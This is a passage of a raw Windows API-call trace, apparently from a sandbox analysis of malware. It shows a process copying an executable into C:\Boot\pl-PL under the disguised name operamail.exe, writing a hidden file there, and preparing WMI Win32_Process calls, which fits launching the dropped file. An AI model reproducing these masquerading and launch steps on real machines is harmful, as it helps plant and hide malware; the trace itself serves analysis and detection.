nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0134.564] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0134.564] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0134.564] FindClose (in: hFindFile=0x1a9d9080 | out: hFindFile=0x1a9d9080) returned 1 [0134.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0134.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0134.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0134.565] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL", lpFilePart=0x0) returned 0xd [0134.565] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*" (normalized: "c:\\boot\\pl-pl\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d9080 [0134.567] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.567] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0134.567] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0134.567] FindClose (in: hFindFile=0x1a9d9080 | out: hFindFile=0x1a9d9080) returned 1 [0134.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0134.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0134.570] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL\\operamail.exe", nBufferLength=0x105, lpBuffer=0x1bb7e7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL\\operamail.exe", lpFilePart=0x0) returned 0x1b [0134.570] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0134.570] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL\\operamail.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL\\operamail.exe", lpFilePart=0x0) returned 0x1b [0134.570] CopyFileW (lpExistingFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), lpNewFileName="C:\\Boot\\pl-PL\\operamail.exe" (normalized: "c:\\boot\\pl-pl\\operamail.exe"), bFailIfExists=0) returned 1 [0134.659] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL\\172e128c88b792", nBufferLength=0x105, lpBuffer=0x1bb7e420, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL\\172e128c88b792", lpFilePart=0x0) returned 0x1c [0134.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e938) returned 1 [0134.659] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\172e128c88b792" (normalized: "c:\\boot\\pl-pl\\172e128c88b792"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x35c [0134.660] GetFileType (hFile=0x35c) returned 0x1 [0134.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e8a8) returned 1 [0134.660] GetFileType (hFile=0x35c) returned 0x1 [0134.660] WriteFile (in: hFile=0x35c, lpBuffer=0x2866828*, nNumberOfBytesToWrite=0x17e, lpNumberOfBytesWritten=0x1bb7e978, lpOverlapped=0x0 | out: lpBuffer=0x2866828*, lpNumberOfBytesWritten=0x1bb7e978*=0x17e, lpOverlapped=0x0) returned 1 [0134.661] CloseHandle (hObject=0x35c) returned 1 [0134.663] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0134.663] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0134.663] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0134.663] IUnknown:Release (This=0x1a943398) returned 0x1 [0134.665] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc22a20) returned 0x0 [0134.665] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc22a20, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0134.666] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc22a20, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc1b160) returned 0x0 [0134.666] WbemDefPath:IUnknown:Release (This=0x1bc22a20) returned 0x0 [0134.666] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1b160, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc1b160) returned 0x0 [0134.666] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1b160, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0134.666] WbemDefPath:IUnknown:AddRef (This=0x1bc1b160) returned 0x3 [0134.666] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1b160, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0134.666] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1b160, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0134.666] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1b160, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc22a60) returned 0x0 [0134.666] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc22a60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.666] WbemDefPath:IUnknown:Release (This=0x1bc22a60) returned 0x3 [0134.666] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0134.666] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0134.666] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1b160, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0134.666] WbemDefPath:IUnknown:Release (This=0x1bc1b160) returned 0x2 [0134.667] WbemDefPath:IUnknown:Release (This=0x1bc1b160) returned 0x1 [0134.667] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0134.667] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0134.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1b160, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc1b160) returned 0x0 [0134.667] WbemDefPath:IUnknown:AddRef (This=0x1bc1b160) returned 0x3 [0134.667] WbemDefPath:IUnknown:Release (This=0x1bc1b160) returned 0x2 [0134.667] WbemDefPath:IWbemPath:SetText (This=0x1bc1b160, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0134.667] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1b160, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0134.667] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1b160, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0134.667] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1b160, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0134.667] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc1b160, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0134.667] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1b160, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0134.667] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc1b160, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0134.667] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0134.667] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0134.667] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0134.668] IUnknown:Release (This=0x1a943398) returned 0x1 [0134.669] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc22aa0) returned 0x0 [0134.669] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc22aa0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0134.669] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc22aa0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc1b220) returned 0x0 [0134.669] WbemDefPath:IUnknown:Release (This=0x1bc22aa0) returned 0x0 [0134.669] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1b220, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc1b220) returned 0x0 [0134.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1b220, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0134.670] WbemDefPath:IUnknown:AddRef (This=0x1bc1b220) returned 0x3 [0134.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1b220, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0134.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1b220, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0134.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1b220, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc22ae0) returned 0x0 [0134.670] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc22ae0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.670] WbemDefPath:IUnknown:Release (This=0x1bc22ae0) returned 0x3 [0134.670] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0134.670] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0134.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1b220, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0134.670] WbemDefPath:IUnknown:Release (This=0x1bc1b220) returned 0x2 [0134.670] WbemDefPath:IUnknown:Release (This=0x1bc1b220) returned 0x1 [0134.670] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0134.670] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0134.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1b220, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc1b220) returned 0x0 [0134.670] WbemDefPath:IUnknown:AddRef (This=0x1bc1b220) returned 0x3 [0134.671] WbemDefPath:IUnknown:Release (This=0x1bc1b220) returned 0x2 [0134.671] WbemDefPath:IWbemPath:SetText (This=0x1bc1b220, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0134.671] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1b220, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0134.671] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1b220, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0134.671] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1b220, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0134.671] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc1b220, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0134.671] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1b220, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0134.671] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc1b220, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0134.671] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1b220, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0134.671] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0134.671] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0134.671] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.671] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0134.671] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0134.671] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0134.671] IUnknown:Release (This=0x1a943398) returned 0x1 [0134.673] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bc22b20) returned 0x0 [0134.673] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc22b20, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0134.673] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc22b20, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bc3e900) returned 0x0 [0134.673] WbemDefPath:IUnknown:Release (This=0x1bc22b20) returned 0x0 [0134.673] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e900, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bc3e900) returned 0x0 [0134.674] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e900, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0134.674] WbemDefPath:IUnknown:AddRef (This=0x1bc3e900) returned 0x3 [0134.674] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e900, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0134.674] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e900, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0134.674] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e900, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bc40900) returned 0x0 [0134.674] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc40900, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, 